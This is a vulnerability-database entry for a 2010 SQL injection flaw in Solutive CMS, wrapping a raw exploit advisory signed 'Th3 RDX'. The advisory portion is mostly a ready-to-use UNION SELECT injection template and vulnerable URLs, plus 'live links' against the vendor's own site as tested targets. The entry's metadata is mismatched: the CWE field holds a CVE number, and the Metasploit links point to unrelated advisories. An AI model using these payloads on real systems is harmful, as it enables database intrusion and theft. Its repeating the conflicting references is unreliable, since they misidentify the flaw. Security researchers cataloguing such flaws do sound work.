Solutive CMS SQL Injection Vulnerability

vendor:

Solutive CMS

by:

Th3 RDX

9,3

CVSS

HIGH

SQL Injection

CWE

Product Name: Solutive CMS

Affected Version From: 1.0

Affected Version To: 1.2

Patch Exists: Yes

Related CWE: CVE-2010-4456

CPE: a:solutive:solutive_cms

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2010-0110/, https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2008-4456/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

Solutive CMS SQL Injection Vulnerability

Solutive CMS is vulnerable to SQL Injection. An attacker can inject malicious SQL queries via the 'id' parameter in the 'product_detail.php', 'news_content.php' and 'products_by_cat.php' scripts. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Mitigation:

Input validation and output encoding

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### www.Teamicw.in | www.IndiShell.in | www.AndhraHackers.com ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
             L0v3 T0 : "R00T", "R45c4l" & "Agent: 1c3c0ld"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

    Th3 RDX

----- [ E - mail ] -----

 th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Solutive CMS SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.solutive.net/

                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = product_detail.php?id=7+and+1=0+ Union Select  1 ,2,
UNHEX(HEX([visible]))
,4,5,6 (tables & column) }

[SQLi] http://server/cms/product_detail.php?id=7[CODE]

[SQLi] http://server/cms/news_content.php?id=9[CODE]

[SQLi] http://server/cms/products_by_cat.php?Cat_id=1[CODE]


                                                        %\\
##############################################################################

##############################################################################
%//

              >>>>>> TESTED ON <<<<<<

----- [ Live Link (s) ] -----

[Link] http://solutive.net/cms01/product_detail.php?id=7[CODE]

[Link] http://solutive.net/cms01/news_content.php?id=9[CODE]

[Link] http://solutive.net/cms01/products_by_cat.php?Cat_id=1[CODE]

                                                        %\\
##############################################################################


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 04 April 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=